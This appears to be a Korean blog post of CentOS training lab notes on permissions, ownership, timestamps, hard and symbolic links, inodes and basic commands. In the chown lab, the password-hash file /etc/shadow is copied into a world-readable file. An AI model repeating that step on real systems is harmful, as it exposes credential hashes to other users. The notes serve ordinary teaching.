?--------- ? ? ? ?            ? a

?--------- ? ? ? ?            ? A

?--------- ? ? ? ?            ? a.c

  :

  :


===========================================================================================================


===========================================================================================================

LAB> 디렉토리 권한 테스트


~ # cd /tmp

/tmp # umask

0022

/tmp # mkdir TEST

/tmp # ls -ld TEST

drwxr-xr-x 2 root root 4096 Feb 18 00:55 TEST

/tmp $ cd TEST              <-- x 권한이 있으므로 TEST 디렉토리에 들어갈 수 있다.

/tmp/TEST $ pwd

/tmp/TEST

/tmp/TEST $ cd ..



/tmp # touch TEST/a.txt TEST/b.txt

/tmp # ls -l TEST

total 8

-rw-r--r-- 1 root root 0 Feb 18 00:59 a.txt

-rw-r--r-- 1 root root 0 Feb 18 00:59 b.txt

/tmp # chmod o-x TEST

/tmp # ls -ld TEST

drwxr-xr-- 2 root root 4096 Feb 18 00:55 TEST

/tmp $ cd TEST              <-- x 권한이 있으므로 TEST 디렉토리에 들어갈 수 없다.

-bash: cd: TEST: Permission denied

tmp $ ls TEST -l

total 0

?--------- ? ? ? ?            ? a.txt

?--------- ? ? ? ?            ? b.txt


/tmp # chmod o=x TEST

/tmp # ls -ld TEST

drwxr-x--x 2 root root 4096 Feb 18 00:59 TEST

/tmp $ cd TEST               <-- 디렉토리에 들어갈 수 있으나 파일 목록은 볼 수 없다.

/tmp/TEST $ ls

ls: .: Permission denied


/tmp # chmod o=rwx TEST

/tmp # ls -ld TEST

drwxr-xrwx 2 root root 4096 Feb 18 00:59 TEST

/tmp/TEST $ vi a.txt       <-- a.txt 파일을 수정할 수 있다.

/tmp/TEST $ ll

total 12

-rw-r--r-- 1 linux linux 8 Feb 18 01:05 a.txt

-rw-r--r-- 1 root  root  0 Feb 18 00:59 b.txt

/tmp/TEST $ rm -f b.txt    <-- other 에 w 권한이 있으므로 b.txt 파일을 삭제할 수 있다.

/tmp/TEST $ ls -l

total 16

-rw-r--r-- 1 linux linux 8 Feb 18 01:05 a.txt

-rw-r--r-- 1 linux linux 8 Feb 18 01:06 c.txt

===========================================================================================================

===========================================================================================================

LAB> 터미널에 쓰기 연습


- linux 사용자

# echo 1234 | passwd --stdin linux

Changing password for user linux.

passwd: all authentication tokens updated successfully.

# ssh linux@localhost

linux@localhost's password: 

Last login: Sat Apr 18 04:14:11 2015 from 127.0.0.1

$ tty

/dev/pts/3

$ ls -l /dev/pts/3 

crw--w---- 1 linux tty 136, 3 Apr 18 04:15 /dev/pts/3

$ ls -l `tty`

crw--w---- 1 linux tty 136, 3 Apr 18 04:16 /dev/pts/3

$ chmod o+w /dev/pts/3

$ ls -l `tty`

crw--w--w- 1 linux tty 136, 3 Apr 18 04:17 /dev/pts/3

$ 1234


- windows 사용자

# useradd windows

# su - windows

$ echo 1234 > /dev/pts/3

-bash: /dev/pts/3: Permission denied


$ echo 1234 > /dev/pts/3

===========================================================================================================



*** 리눅스에서 프로그래밍시에 칼라를 볼 수 있도록 세팅하는 방법 ***

# alias vi=vim

# echo "alias vi=vim" >> ~/.bashrc 

# cat .vimrc 

set nu

set ai

set ci

set bg=dark

set ts=2

set sw=2

*** 리눅스에서 프로그래밍시에 칼라를 볼 수 있도록 세팅하는 방법 ***




# ls -l /etc/passwd

-rw-r--r-- 1 root root 1729 Jul  8 04:41 /etc/passwd

|~~~~~~~~~ ~ ~~~~ ~~~~ ~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~

|    |     |  |    |    |       |             |

|    |     |  |    |    |       |             +-- 파일명 (mv)

|    |     |  |    |    |       +-- 파일수정 날짜 (MAC time) (touch)

|    |     |  |    |    +-- 파일크기 (vi, cat, echo ...)

|    |     |  |    +-- 그룹 (chgrp)

|    |     |  +-- 소유자 (chown)

|    |     +-- 하드링크 개수 (ln)

|    +-- 권한(퍼미션) (chmod)

+- 파일의 종류 (파일을 생성할 때 결정된다.)



1. 파일의 종류

# ls -l /bin/bash         -  (정규 파일)

- jpg, gif, exe, txt ...

- touch , vi , cat , echo ...


# ls -ld /bin             d  (디렉토리 파일)

- 폴더의 개념 

- mkdir 


# ls -l /dev/log          s  (소켓 파일   : 통신용)

- mksock


# ls -l /dev/initctl      p  (파이프  파일: 통신용)

- mkfifo, mknod 


# ls -l /dev/sda1         b  (장치 파일   : 블럭 디바이스)

- mknod


# ls -l /dev/tty1         c  (장치 파일   : 문자 디바이스)

- mknod


# ls -l /bin/sh           l  (링크 파일   : 심볼릭링크 or 소프트링크)

- 윈도우의 바로가기

- ln -s 


- chmod 실습

[root@localhost ~]# mkdir chmod; cd chmod; pwd

/root/chmod

[root@localhost chmod]# cp /etc/passwd .

[root@localhost chmod]# ls 

passwd

[root@localhost chmod]# ls -l

total 4

-rw-r--r-- 1 root root 1729 Jul  9 04:07 passwd

[root@localhost chmod]# chmod o-r  passwd

[root@localhost chmod]# ls -l

total 4

-rw-r----- 1 root root 1729 Jul  9 04:07 passwd


- ln 실습

[root@localhost chmod]# mkdir ../ln ; cd ../ln

[root@localhost ln]# pwd

/root/ln

[root@localhost ln]# touch lntest.txt

[root@localhost ln]# ls -l lntest.txt 

-rw-r--r-- 1 root root 0 Jul  9 04:22 lntest.txt

[root@localhost ln]# ln lntest.txt lntest2.txt

[root@localhost ln]# ls -l

total 0

-rw-r--r-- 2 root root 0 Jul  9 04:22 lntest2.txt

-rw-r--r-- 2 root root 0 Jul  9 04:22 lntest.txt

[root@localhost ln]# ln lntest.txt lntest3.txt

[root@localhost ln]# ls -l

total 0

-rw-r--r-- 3 root root 0 Jul  9 04:22 lntest2.txt

-rw-r--r-- 3 root root 0 Jul  9 04:22 lntest3.txt

-rw-r--r-- 3 root root 0 Jul  9 04:22 lntest.txt



- chown 실습

[root@localhost ln]# mkdir ../chown; cd ../chown

[root@localhost chown]# cat /etc/shadow > shadow

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root root 1227 Jul  9 04:40 shadow

[root@localhost chown]# ls -l /etc/shadow

-r-------- 1 root root 1227 Jul  8 04:41 /etc/shadow

[root@localhost chown]# chown nobody shadow 

[root@localhost chown]# ls -l shadow 

-rw-r--r-- 1 nobody root 1227 Jul  9 04:40 shadow

[root@localhost chown]# chown root shadow

[root@localhost chown]# ls -l shadow 

-rw-r--r-- 1 root root 1227 Jul  9 04:40 shadow


- chgrp 실습

[root@localhost chown]# chgrp users shadow

[root@localhost chown]# ls -l 

total 4

-rw-r--r-- 1 root users 1227 Jul  9 04:40 shadow

[root@localhost chown]# chgrp bin shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root bin 1227 Jul  9 04:40 shadow

[root@localhost chown]# chgrp root shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root root 1227 Jul  9 04:40 shadow


[root@localhost chown]# grep 43 /etc/group

xfs:x:43:

[root@localhost chown]# chgrp xfs shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root xfs 1227 Jul  9 04:40 shadow

[root@localhost chown]# grep 0 /etc/group

root:x:0:root

wheel:x:10:root

games:x:20:

gopher:x:30:

dip:x:40:

ftp:x:50:

users:x:100:

avahi:x:70:

ecryptfs:x:101:

stapdev:x:102:

stapusr:x:103:

webuser:x:500:

testuser:x:501:

user1:x:502:

user2:x:503:

user3:x:504:

[root@localhost chown]# 

[root@localhost chown]# grep 0 /etc/group

[root@localhost chown]# chgrp 0 shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root root 1227 Jul  9 04:40 shadow

[root@localhost chown]# chgrp 43 shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root xfs 1227 Jul  9 04:40 shadow

[root@localhost chown]# grep 1000 /etc/group

[root@localhost chown]# chgrp 1000 shadow 

[root@localhost chown]# ls -l

total 4

-rw-r--r-- 1 root 1000 1227 Jul  9 04:40 shadow



- /etc/passwd, /etc/passwd- 를 확인할 수 있는 실습

[root@localhost chown]# ls -l /etc/passwd*

-rw-r--r-- 1 root root 1729 Jul  8 04:41 /etc/passwd

-rw------- 1 root root 1776 Jul  8 04:40 /etc/passwd-

[root@localhost chown]# useradd abc

[root@localhost chown]# ls -l /etc/passwd*

-rw-r--r-- 1 root root 1764 Jul  9 05:10 /etc/passwd

-rw------- 1 root root 1729 Jul  8 04:41 /etc/passwd-

[root@localhost chown]# tail -2 /etc/passwd-

user2:x:503:503::/home/user2:/bin/bash

user3:x:504:504::/home/user3:/bin/bash

[root@localhost chown]# tail -3 /etc/passwd

user2:x:503:503::/home/user2:/bin/bash

user3:x:504:504::/home/user3:/bin/bash

abc:x:505:505::/home/abc:/bin/bash

[root@localhost chown]# 



touch

- MAC time의 시간을 수정하는 명령어

[root@localhost chown]# mkdir ../touch ; cd ../touch

[root@localhost touch]# install -m 644 /etc/passwd .

[root@localhost touch]# ls -l 

total 4

-rw-r--r-- 1 root root 1764 Jul  9 05:17 passwd

[root@localhost touch]# ls -l /etc/passwd

-rw-r--r-- 1 root root 1764 Jul  9 05:10 /etc/passwd

[root@localhost touch]# date

Thu Jul  9 05:18:08 KST 2015

[root@localhost touch]# stat passwd 

  File: `passwd'

  Size: 1764       Blocks: 8          IO Block: 4096   regular file

Device: 811h/2065d Inode: 672517      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-09 05:17:19.000000000 +0900

Modify: 2015-07-09 05:17:19.000000000 +0900

Change: 2015-07-09 05:17:19.000000000 +0900


[root@localhost touch]# rdate -s time.bora.net

[root@localhost touch]# date

Thu Jul  9 17:20:35 KST 2015

[root@localhost touch]# touch  passwd 

[root@localhost touch]# stat passwd 

  File: `passwd'

  Size: 1764       Blocks: 8          IO Block: 4096   regular file

Device: 811h/2065d Inode: 672517      Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-09 17:20:44.000000000 +0900

Modify: 2015-07-09 17:20:44.000000000 +0900

Change: 2015-07-09 17:20:44.000000000 +0900


[root@localhost touch]# date

Thu Jul  9 17:24:04 KST 2015

[root@localhost touch]# ls -l

total 4

-rw-r--r-- 1 root root 1764 Jul  9 17:20 passwd

[root@localhost touch]# chmod o-r passwd 

[root@localhost touch]# ls -l

total 4

-rw-r----- 1 root root 1764 Jul  9 17:20 passwd

[root@localhost touch]# stat passwd 

  File: `passwd'

  Size: 1764       Blocks: 8          IO Block: 4096   regular file

Device: 811h/2065d Inode: 672517      Links: 1

Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2015-07-09 17:20:44.000000000 +0900

Modify: 2015-07-09 17:20:44.000000000 +0900

Change: 2015-07-09 17:25:11.000000000 +0900


[root@localhost touch]# date

Thu Jul  9 17:51:34 KST 2015

[root@localhost touch]# head -1 passwd

root:x:0:0:root:/root:/bin/bash

[root@localhost touch]# stat passwd 

  File: `passwd'

  Size: 1764       Blocks: 8          IO Block: 4096   regular file

Device: 811h/2065d Inode: 672517      Links: 1

Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: ( 1000/ UNKNOWN)

Access: 2015-07-09 17:51:46.000000000 +0900

Modify: 2015-07-09 17:20:44.000000000 +0900

Change: 2015-07-09 17:37:17.000000000 +0900




o 여러가지 복사 방법


# cp /etc/passwd .

# rsync /etc/passwd passwd2

# dd if=/etc/passwd of=passwd3

# install -m 644 /etc/passwd passwd4

# cat /etc/passwd > passwd5

# scp  root@localhost:/etc/passwd passwd6

# ll /etc/passwd passwd passwd2 passwd3 passwd4 passwd5 passwd6

-rw-r--r-- 1 root root 1569 Mar 20 06:07 /etc/passwd

-rw-r--r-- 1 root root 1569 Mar 20 06:12 passwd

-rw-r--r-- 1 root root 1569 Mar 20 06:13 passwd2

-rw-r--r-- 1 root root 1569 Mar 20 06:13 passwd3

-rw-r--r-- 1 root root 1569 Mar 20 06:14 passwd4

-rw-r--r-- 1 root root 1569 Mar 20 06:14 passwd5

-rw-r--r-- 1 root root 1569 Mar 20 06:18 passwd6



#############################################
## 주제 : 하드링크 & 심볼릭링크            ##
#############################################

o 링크 종류
하드 링크
심볼릭(소프트) 링크

o 하드 링크와 심볼릭 링크를 만드는 이유는 무엇인가 ?
1. 호환성을 유지하기 위해서 만든다.
   e.g.) 
    /bin/sh -> /bin/bash
    /etc/init.d -> /etc/rc.d/init.d
2. useradd, adduser 처럼 햇갈리는 명령어들을 링크를 
   걸어줌으로써 햇갈리는 명령어를 동일하게 사용할 수 
   있다.
   ex) # ln -s /usr/sbin/userdel /usr/sbin/deluser
    /usr/sbin/adduser -> /usr/sbin/useradd
3. 깊이가 깊은 디렉토리나 파일을 간단하게 접근하기 위해서 
   ex) /etc/httpd.conf -> /usr/local/apache/conf/httpd.conf 

4. /dev/cdrom
- 현재 프로세스번호(PID) 
   /dev/cdrom -> /dev/hdc
    # ls -l /proc/$$/fd   
    total 0
    lrwx------ 1 root root 64 Apr 28 12:55 0 -> /dev/pts/6
    lrwx------ 1 root root 64 Apr 30 06:05 1 -> /dev/pts/6
    lrwx------ 1 root root 64 Apr 30 06:04 2 -> /dev/pts/6

o 리눅스 파일시스템 구조

+--------- 파티션 1 -------------+
|                                |
+--+---+---------+---------------+
|  |   | 1       |  ...          |
|  |   |         |               |
+--+---+---------+---------------+
 1   2     3            4

1. 부트블럭 
2. 슈퍼블럭
3. inode 블럭 
4. data  블럭 (실제 자료가 저장되는 공간)

           심볼릭링크                         하드링크
---------+-------------------------------------------------------
디렉토리 | 링크가 가능                          X
---------+-------------------------------------------------------
파티션   | 넘어갈 수 있다.                      X
---------+-------------------------------------------------------
원본파일 | 원본파일 삭제하면 사용할 수 없다.    O
         | (고아링크) 
---------+-------------------------------------------------------
아이노드 | 아이노드가 새로 생성              아이노드가 같다.
         | 아이노드 개수가  변화가 없다.     아이노드 개수가 증가
---------+-------------------------------------------------------

o 심볼릭과 하드링크의 차이점
- 심볼릭 링크
[심볼릭 링크] -> [원본 파일] -> [파일 시스템의 데이터]

- 하드 링크
[하드 링크 파일] -> [파일 시스템의 데이터] <- [원본 파일]

!!! 실습시 아이노드 번호는 달라진다. !!!
=========================================================================
LAB> 하드링크와 심볼릭링크 만들기

# cd 
# install -m 700 -d LINKTEST
# ls -ld LINKTEST
drwx------ 2 root root 4096 May 30 17:19 LINKTEST
# cd LINKTEST

# cat > a.txt
File test ...
^d

# df -i

- a.txt 파일에 대한 하드 링크를 생성한다.
# ln a.txt b.txt  
# ls -li a.txt 
1802460 -rw-r--r-- 1 root root 14 Apr 30 05:26 a.txt

# ln a.txt b.txt
# ls -li a.txt 
1802460 -rw-r--r-- 2 root root 14 Apr 30 05:26 a.txt

# ls -li       
total 16
1802460 -rw-r--r-- 2 root root 14 Apr 30 05:26 a.txt
1802460 -rw-r--r-- 2 root root 14 Apr 30 05:26 b.txt

# df i

- b.txt 파일에 대한 심볼릭 링크를 생성한다.
# ln -s b.txt c.txt
# ls -li 
total 20
1802460 -rw-r--r-- 2 root root 14 Apr 30 05:26 a.txt
1802460 -rw-r--r-- 2 root root 14 Apr 30 05:26 b.txt
1802461 lrwxrwxrwx 1 root root  5 Apr 30 05:29 c.txt -> b.txt
=========================================================================
=========================================================================
LAB>  아래 조건을 가지고 링크 연습을 해보자.

          심볼릭링크                         하드링크
---------+-------------------------------------------------------
디렉토리 | 링크가 가능                          X
---------+-------------------------------------------------------
파티션   | 넘어갈 수 있다.                      X
---------+-------------------------------------------------------
원본파일 | 원본파일 삭제하면 사용할 수 없다.    O
         | (고아링크) 
---------+-------------------------------------------------------
아이노드 | 아이노드가 새로 생성              아이노드가 같다.
         | ls -l  변화가 없다.               아이노드 개수가 증가
---------+-------------------------------------------------------

1. 디렉토리 테스트 

# mkdir testdir
# ln -s testdir testdir2  <-- O
# ln testdir testdir3     <-- X

- 디렉토리는 하드 링크는 사용할 수 없지만 mount  명령어로 비슷한 효과를 
  가질 수 있다.
# mkdir testdir3
# mount -o bind testdir testdir3
# echo 1234 > testdir/a.txt
# ls -l testdir
# ls -l testdir3
# cat testdir/a.txt
# cat testdir3/a.txt
# mount
# df

2. 파티션 테스트

# ln -s /boot/vmlinuz-2.6.18-348.el5 vmlinuz2    <-- O
# ln /boot/vmlinuz-2.6.18-348.el5 vmlinuz3       <-- X


3. 원본파일 테스트

- 심볼릭 링크 테스트
[심볼릭 링크] -> [원본 파일] -> [파일 시스템의 데이터]
# echo File test ... > a.txt
# ln -s a.txt c.txt
# cat a.txt 
File test ...
# cat c.txt 
File test ...

# echo 1234 >> a.txt
# cat a.txt 
File test ...
1234
# cat c.txt 
File test ...
1234

# rm -fv a.txt

# cat a.txt  <-- X
# cat c.txt  <-- X

- 하드 링크 테스트
[하드 링크 파일] -> [파일 시스템의 데이터] <- [원본 파일]

# echo File test ... > a.txt
# ln a.txt b.txt
# ls -li
total 16
1802460 -rw-r--r-- 2 root root 14 Apr 30 06:29 a.txt
1802460 -rw-r--r-- 2 root root 14 Apr 30 06:29 b.txt

# cat a.txt 
File test ...
# cat b.txt 
File test ...
# rm -fv a.txt 
removed `a.txt'
# ls -li
total 8
1802460 -rw-r--r-- 1 root root 14 Apr 30 06:29 b.txt
# cat b.txt 
File test ...


=========================================================================

LAB> 리눅스에서 하드링크와 심볼릭링크를 찾아보기

o 하드링크 

# ls -li /usr/bin/zgrep
32363 -rwxr-xr-x 3 root root ....

# ls -li /usr/bin | grep "x 3"
# ls -li /usr/bin | grep "x 2"

o 심볼릭링크
# ls -ld /etc/init.d
# ls -l /bin/sh
# ls -l /bin/awk


.   <-- 현재디렉토리
..  <-- 상위디렉토리

    | / 2
+---+----+         
    |              
   root/    . 65217  .. 2
    |
    A/ 3    . 65227  .. 65217
    |
    B/ 3    . 65268  .. 65227
    |
    C/ 2    . 65269  .. 65268

# cd /
# ls -ldi
2 drwxr-xr-x 22 root root 4096 May 30 10:07 .
# cd /root
# ls -ali
65217 drwxr-x---  8 root root  4096 May 30 18:40 .
    2 drwxr-xr-x 22 root root  4096 May 30 10:07 ..
65227 drwxr-xr-x  3 root root  4096 May 30 18:40 A

# cd A
# ls -lia
total 24
65227 drwxr-xr-x 3 root root 4096 May 30 18:40 .
65217 drwxr-x--- 8 root root 4096 May 30 18:40 ..
65268 drwxr-xr-x 3 root root 4096 May 30 18:40 B

# cd B
# ls -lia
total 24
65268 drwxr-xr-x 3 root root 4096 May 30 18:40 .
65227 drwxr-xr-x 3 root root 4096 May 30 18:40 ..
65269 drwxr-xr-x 2 root root 4096 May 30 18:40 C

# cd C
[root@ksw C]# ls -lia
total 16
65269 drwxr-xr-x 2 root root 4096 May 30 18:40 .
65268 drwxr-xr-x 3 root root 4096 May 30 18:40 ..

======================================================
install -m 700 -d LINKTEST
[root@localhost ~]# ls
LINKTEST
[root@localhost ~]# 
[root@localhost ~]# ls
LINKTEST
[root@localhost ~]# ls -l
total 4
drwx------ 2 root root 4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# ls -ld LINKTEST 
drwx------ 2 root root 4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# ls -l
total 4
drwx------ 2 root root 4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# 
[root@localhost ~]# ls -ld /
drwxr-xr-x 25 root root 4096 Mar 12  2015 /
[root@localhost ~]# ls -ldi /
2 drwxr-xr-x 25 root root 4096 Mar 12  2015 /
[root@localhost ~]# 
[root@localhost ~]# ls -ld /root
drwxr-x--- 4 root root 4096 Dec 25 13:36 /root
[root@localhost ~]# ls -ldi /root
262145 drwxr-x--- 4 root root 4096 Dec 25 13:36 /root
[root@localhost ~]# ls -ldi /root/LINKTEST 
262146 drwx------ 2 root root 4096 Dec 25 13:36 /root/LINKTEST
[root@localhost ~]# 
[root@localhost ~]# cd LINKTEST 
[root@localhost LINKTEST]# ls -ali
total 12
262146 drwx------ 2 root root 4096 Dec 25 13:36 .
262145 drwxr-x--- 4 root root 4096 Dec 25 13:36 ..
[root@localhost LINKTEST]# 
[root@localhost LINKTEST]# cd ..
[root@localhost ~]# ls -ali
total 88
262145 drwxr-x---  4 root root  4096 Dec 25 13:36 .
     2 drwxr-xr-x 25 root root  4096 Mar 12  2015 ..
266735 -rw-------  1 root root 11040 Dec 25 13:33 .bash_history
262148 -rw-r--r--  1 root root    24 Jan  6  2007 .bash_logout
262149 -rw-r--r--  1 root root   191 Jan  6  2007 .bash_profile
266866 -rw-r--r--  1 root root   493 Mar 10  2015 .bashrc
262151 -rw-r--r--  1 root root   100 Jan  6  2007 .cshrc
266734 -rw-------  1 root root    16 Mar  9  2015 .mysql_history
329737 drwx------  2 root root  4096 Mar 12  2015 .ssh
262152 -rw-r--r--  1 root root   129 Jan  6  2007 .tcshrc
262146 drwx------  2 root root  4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# 
[root@localhost ~]# ls -aldi . .. LINKTEST 
262145 drwxr-x---  4 root root 4096 Dec 25 13:36 .
     2 drwxr-xr-x 25 root root 4096 Mar 12  2015 ..
262146 drwx------  2 root root 4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# ls -ld /
drwxr-xr-x 25 root root 4096 Mar 12  2015 /
[root@localhost ~]# ls -al
total 88
drwxr-x---  4 root root  4096 Dec 25 13:36 .
drwxr-xr-x 25 root root  4096 Mar 12  2015 ..
-rw-------  1 root root 11040 Dec 25 13:33 .bash_history
-rw-r--r--  1 root root    24 Jan  6  2007 .bash_logout
-rw-r--r--  1 root root   191 Jan  6  2007 .bash_profile
-rw-r--r--  1 root root   493 Mar 10  2015 .bashrc
-rw-r--r--  1 root root   100 Jan  6  2007 .cshrc
-rw-------  1 root root    16 Mar  9  2015 .mysql_history
drwx------  2 root root  4096 Mar 12  2015 .ssh
-rw-r--r--  1 root root   129 Jan  6  2007 .tcshrc
drwx------  2 root root  4096 Dec 25 13:36 LINKTEST
[root@localhost ~]# ls -ali 
[root@localhost ~]# ls -ali .ssh
total 16
329737 drwx------ 2 root root 4096 Mar 12  2015 .
262145 drwxr-x--- 4 root root 4096 Dec 25 13:36 ..
329738 -rw-r--r-- 1 root root  391 Mar 12  2015 known_hosts
======================================================

======================================================
[root@localhost LINKTEST]# ls
[root@localhost LINKTEST]# ls -ld
drwx------ 2 root root 4096 Dec 25 13:55 .
[root@localhost LINKTEST]# mkdir A
[root@localhost LINKTEST]# ls -ld
drwx------ 3 root root 4096 Dec 25 13:55 .
[root@localhost LINKTEST]# ls -ali A
total 8
262147 drwxr-xr-x 2 root root 4096 Dec 25 13:55 .
262146 drwx------ 3 root root 4096 Dec 25 13:55 ..
[root@localhost LINKTEST]# ls -ldi
262146 drwx------ 3 root root 4096 Dec 25 13:55 .
[root@localhost LINKTEST]# mkdir B
[root@localhost LINKTEST]# ls -ldi
262146 drwx------ 4 root root 4096 Dec 25 13:56 .
[root@localhost LINKTEST]# ls -lia B
total 8
262150 drwxr-xr-x 2 root root 4096 Dec 25 13:56 .
262146 drwx------ 4 root root 4096 Dec 25 13:56 ..
======================================================          


======================================================          
LAB>  

-- 순서 --
1. 각 디렉토리의 아이노드 번호
2. 각 디렉토리의 하드링크 개수
-- 순서 --

# mkdir /LINKTEST
# ls -lid /

# ls -lia /LINKTEST 
total 16
3768321 drwxr-xr-x  2 root root 4096 Apr 30 10:14 .
      2 drwxr-xr-x 27 root root 4096 Apr 30 10:14 ..

# cd /LINKTEST
# mkdir a b
# ls -ial
total 32
3768321 drwxr-xr-x  4 root root 4096 Apr 30 10:22 .
      2 drwxr-xr-x 27 root root 4096 Apr 30 10:14 ..

# ls -lid a b 
3768322 drwxr-xr-x 2 root root 4096 Apr 30 10:22 a
3768323 drwxr-xr-x 2 root root 4096 Apr 30 10:22 b

# ls -lia b
total 16
3768323 drwxr-xr-x 2 root root 4096 Apr 30 10:22 .
3768321 drwxr-xr-x 4 root root 4096 Apr 30 10:22 ..

2. 각 디렉토리의 하드링크 개수


======================================================          


'OS > [Linux] CentOS' 카테고리의 다른 글

[CentOS] 7-1. 리눅스퍼미션  (0) 2016.07.02
[CentOS] 6. 파일 권한 테스트  (0) 2016.07.02
[CentOS] 4. 파일관련 명령어  (0) 2016.07.02
[CentOS] 3. 절대경로 상대경로  (0) 2016.07.02
[CentOS] 2. 디렉토리구조  (0) 2016.07.02

o 기본 명령어 

파일목록 출력  (LiSt)                     (dir)

화면 지우기     (clear, Crtl + L )       (cls)

디렉토리 생성 (MaKe DIRectory)      (md, mkdir)

디렉토리 이동 (Change Directory)    (cd)

작업디렉토리출력 (Print Working Directory)

디렉토리 삭제 (ReMove DIRectory)   (rd, rmdir)

파일 생성 (touch, echo, install, cp),   (copy con, echo)

파일 삭제 (ReMove)                      (del)

파일 복사 (CoPy)                          (copy)    

파일 이동 (MoVe)                         (move)

파일 이름변경 (MoVe)                   (ren)

파일 바로가기 (LiNk) 

파일 내용보기 (cat, tac, head, tail, less, more, view, vi, nano, pico ...)

 - 파일 내용 전체 보기 cat

 - 파일 내용 거꾸로 보기 tac

 - 파일 내용 위에서 10줄 head 

 - 파일 내용 밑에서 10줄 tail or 


===================================================================

LAB> 윈도우 기본 명령어를 사용해보자.

윈도우키 + R -> cmd  

C:\Users\user1> cd \     <-- 최상위 디렉토리로 이동해라.

c:\> dir                         <-- 현재 디렉토리의 파일리스트를 출력해라

c:\> cls                         <-- 화면지워라

c:\> md Test                  <-- Test 디렉토리를 생성해라

c:\> cd Test                   <-- Test 디렉토리로 이동해라

c:\> echo 1234               <-- 1234 를 화면에 출력해라.

c:\> echo 1234 >  1.txt     <-- 1.txt 파일안에 1234 를 넣어라   ( > )

c:\> echo 5678 >> 1.txt    <-- 1.txt 파일안에 5678 을 추가해라 ( >> )

c:\> echo 3456 >  1.txt     <-- 1.txt 파일안에 3456 을 넣어라   ( > )

c:\> more 1.txt               <-- 1.txt 파일의 내용을 출력해라

c:\> dir                         <-- 현재 디렉토리의 파일리스트를 출력해라

c:\> del 1.txt                  <-- 1.txt 파일을 삭제해라

c:\> cd ..                       <-- 상위 디렉토리로 이동해라

c:\> rd Test                   <-- Test 디렉토리를 삭제해라

c:\> cd \                      <-- 최상위 디렉토리로 이동해라

c:\> mkdir Test2             <-- Test2 디렉토리를 생성해라

c:\> cd Test2                 <-- Test2 디렉토리로 이동해라

c:\> copy c:\windows\system32\calc.exe .  <-- calc.exe 를 복사해라

c:\> ren calc.exe calc2.exe    <-- calc.exe calc2.exe 로 이름을 변경해라

c:\> mkdir Test3                <-- Test3 디렉토리를 생성해라

c:\> move calc2.exe Test3    <-- calc2.exe 를 Test3 디렉토리로 이동해라

c:\> dir Test3                    <-- Test3 디렉토리를 출력해라

c:\> copy con 2.txt             <-- 0byte 짜리 파일 2.txt를 생성해라

^Z 엔터                            <-- Ctrl + Z 누르고 엔터를 친다

===================================================================



===================================================================

LAB> 리눅스 기본 명령어를 사용해보자.


파일목록 출력 (LiSt)

# ls 

디렉토리 생성 (MaKe DIRectory)

# mkdir TEST

디렉토리 이동 (Change Directory)

# cd TEST

작업디렉토리출력 (Print Working Directory)

# pwd

상위 디렉토리로 이동 

# cd ..

디렉토리 삭제 (ReMove DIRectory)

# rmdir TEST

파일 생성

# touch a.txt

ls 옵션을 이용해서 출력

# ls -l

파일 삭제 (ReMove)

# rm a.txt

파일 복사 (CoPy)

# cp install.log install.log2

파일 이동 (MoVe)

# mkdir 7.7

# mv install.log 7.7

# ls 7.7

파일 이름변경 (MoVe)

# cd 7.7

# ls 

install.log

# mv install.log a.txt

# ls

a.txt

===================================================================



===================================================================

LAB> 기본 명령어 연습


# ls

1.txt  7.7  anaconda-ks.cfg  install.log2  install.log.syslog

# mkdir Test   <-- Test 디렉토리를 생성한다

# dir   <-- Linux 에서도 윈도우 사용자를 위해 dir 명령어가 존재한다

1.txt  7.7  anaconda-ks.cfg  install.log2  install.log.syslog  Test

# ls    <-- 현재 디렉토리의 파일 리스트를 출력한다 (ls . 과 동일)

1.txt  7.7  anaconda-ks.cfg  install.log2  install.log.syslog  Test

# cd Test  <-- Test 디렉토리로 이동한다.

# pwd      <-- 현재 디렉토리의 경로를 출력한다

/root/Test

# echo 1234 > 1.txt   <-- 1234 의 내용을 가진 1.txt 파일을 생성한다

# ls          <-- /root/Test 디렉토리에 1.txt 파일이 생성되었다

1.txt

# cat 1.txt   <-- 1.txt 파일의 내용을 출력한다

1234

# more  1.txt <-- 1.txt 파일의 내용을 출력한다

1234


- 0byte 크기의 파일을 생성하는 여러가지 방법

# touch 2.txt  

# install /dev/null 3.txt

# cp /dev/null 4.txt

# ls -l      <-- 파일의 리스트를 자세히(-l 옵션) 보여준다

total 20

-rw-r--r-- 1 root root 5 Jul  7 18:53 1.txt

-rw-r--r-- 1 root root 0 Jul  7 19:09 2.txt

-rwxr-xr-x 1 root root 0 Jul  7 19:11 3.txt

-rw-r--r-- 1 root root 0 Jul  7 19:11 4.txt


# mkdir 5.txt    <-- 5.txt 디렉토리를 생성한다

# ls -l

total 28

-rw-r--r-- 1 root root    5 Jul  7 18:53 1.txt

-rw-r--r-- 1 root root    0 Jul  7 19:09 2.txt

-rwxr-xr-x 1 root root    0 Jul  7 19:11 3.txt

-rw-r--r-- 1 root root    0 Jul  7 19:11 4.txt

drwxr-xr-x 2 root root 4096 Jul  7 19:19 5.txt  <-- d 를 주목!!!

~


- cp 의 인자는 2개이면 첫번째 인자를 두 번째 인자로 복사하지만

3개 이상의 인자가 오면 마지막 인자는 디렉토리가 와야한다.

# cp 1.txt 2.txt 3.txt 4.txt 6.txt  <-- 6.txt 디렉토리가 없으므로 에러

cp: target `6.txt' is not a directory

# ls

1.txt  2.txt  3.txt  4.txt  5.txt  <-- 5.txt 디렉토리가 있으므로 복사

# cp 1.txt 2.txt 3.txt 4.txt 5.txt

# ls 5.txt

1.txt  2.txt  3.txt  4.txt

